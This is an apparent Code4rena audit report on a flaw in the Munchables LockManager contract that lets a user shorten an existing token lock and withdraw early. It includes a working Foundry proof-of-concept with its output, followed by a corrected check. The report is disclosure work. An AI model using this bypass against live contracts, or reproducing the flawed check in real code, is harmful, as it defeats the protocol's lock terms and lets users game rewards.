Munchables - gavfu's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L255-L267 https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L381

Vulnerability details

Impact

User funds's lockup period could be reduced, and funds could be immediately unlocked after half of the previously set lock period passed.

When a LockedToken is created by calling LockManager.lock() or LockManager.lockOnBehalf(), the lastLockTime field is set to current block timestamp.

Later on, if user use LockManager.setLockDuration() to update lock duration, all existing fund locks are updated. And the new unlockTime is updated to lastLockTime + uint32(_duration). This new unlockTime, however, could be earlier than the current unlockTime.

Although there is a check uint32(block.timestamp) + uint32(_duration) < lockedTokens[msg.sender][tokenContract].unlockTime, this could be by-passed. Since the check is against uint32(block.timestamp) + uint32(_duration), but unlockTime is actually updated to lastLockTime + uint32(_duration).

This means, after half of the previous set LockDuration passed, by using LockManager.setLockDuration() to set the new lock duration to the half value, the check will be by-passed, and the existing lock period will be reduced.

Proof of Concept

The foundry test case blow demonstrates how to reproduce this issue.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import "./MunchablesTest.sol";

contract LockDurationTester is MunchablesTest {
    function test_LockDuration() public {
        uint256 lockAmount = 100e18;

        console.log("Beginning run()");
        deployContracts();

        // register me
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        logSnuggery("Initial snuggery");

        // Day 1: Lock 100 $ETH
        // What happens: `lastLockTime` for the player's 100 $ETH is set to the current block timestamp, which on Day 1
        lm.lock{value: lockAmount}(address(0), lockAmount);
        // Set lock duration to 90 days. Now the existing locked 100 $ETH is updated to unlock 90 days later
        lm.setLockDuration(90 days);

        logPlayer("Player after lock");
        logLockedTokens("After First Lock");

        // Warp to day 46
        uint256 day46 = block.timestamp + 46 days;
        console.log("Warping to", day46);
        vm.warp(day46);
        console.log("Warped to:", block.timestamp);
        // Day 46: Reset lock duration to 45 days
        // What happens: `lastLockTime` for the player's 100 $ETH is reduced to Day 45 (since `lastLockTime` was set to Day 1).
        // Since today is Day 46, this 100 $ETH is unlocked immediately.
        lm.setLockDuration(45 days);

        logPlayer("Player after setLockDuration");
        logLockedTokens("After setLockDuration");
    }
}

And below is the output of the test case:

➜  2024-05-munchables git:(main) ✗ forge test --match-test test_LockDuration -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/SpeedRun.t.sol:LockDurationTester
[PASS] test_LockDuration() (gas: 63158160)
Logs:
  Beginning run()
  -------------------------------
  Initial snuggery
  Snuggery size:  0
  -------------------------------
  -------------------------------
  Player after lock
  Registration Date: 1
  Unfed Schnibbles: 0
  Unrevealed NFTs: 100
  Points: 0
  MUNCH tokens: 0
  Lock Duration: 7776000
  -------------------------------
  -------------------------------
  After First Lock
  ETH Locked: 100000000000000000000
  Remainder: 0
  LastLock time: 1
  Unlock time: 7776001
  Current timestamp 1
  -------------------------------
  Warping to 3974401
  Warped to: 3974401
  -------------------------------
  Player after setLockDuration
  Registration Date: 1
  Unfed Schnibbles: 0
  Unrevealed NFTs: 100
  Points: 0
  MUNCH tokens: 0
  Lock Duration: 3888000
  -------------------------------
  -------------------------------
  After setLockDuration
  ETH Locked: 100000000000000000000
  Remainder: 0
  LastLock time: 1
  Unlock time: 3888001
  Current timestamp 3974401
  -------------------------------

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 29.64ms (20.54ms CPU time)

Ran 1 test suite in 199.06ms (29.64ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry

Recommended Mitigation Steps

Solution:

Update check logic to raise LockDurationReducedError if lock period is reduced

Current Logic

// check they are not setting lock time before current unlocktime
if (
    uint32(block.timestamp) + uint32(_duration) <
    lockedTokens[msg.sender][tokenContract].unlockTime
) {
    revert LockDurationReducedError();
}

Updated Logic

// check they are not setting lock time before current unlocktime
if (
    lockedTokens[msg.sender][tokenContract].lastLockTime + uint32(_duration) <
    lockedTokens[msg.sender][tokenContract].unlockTime
) {
    revert LockDurationReducedError();
}

Assessed type

Other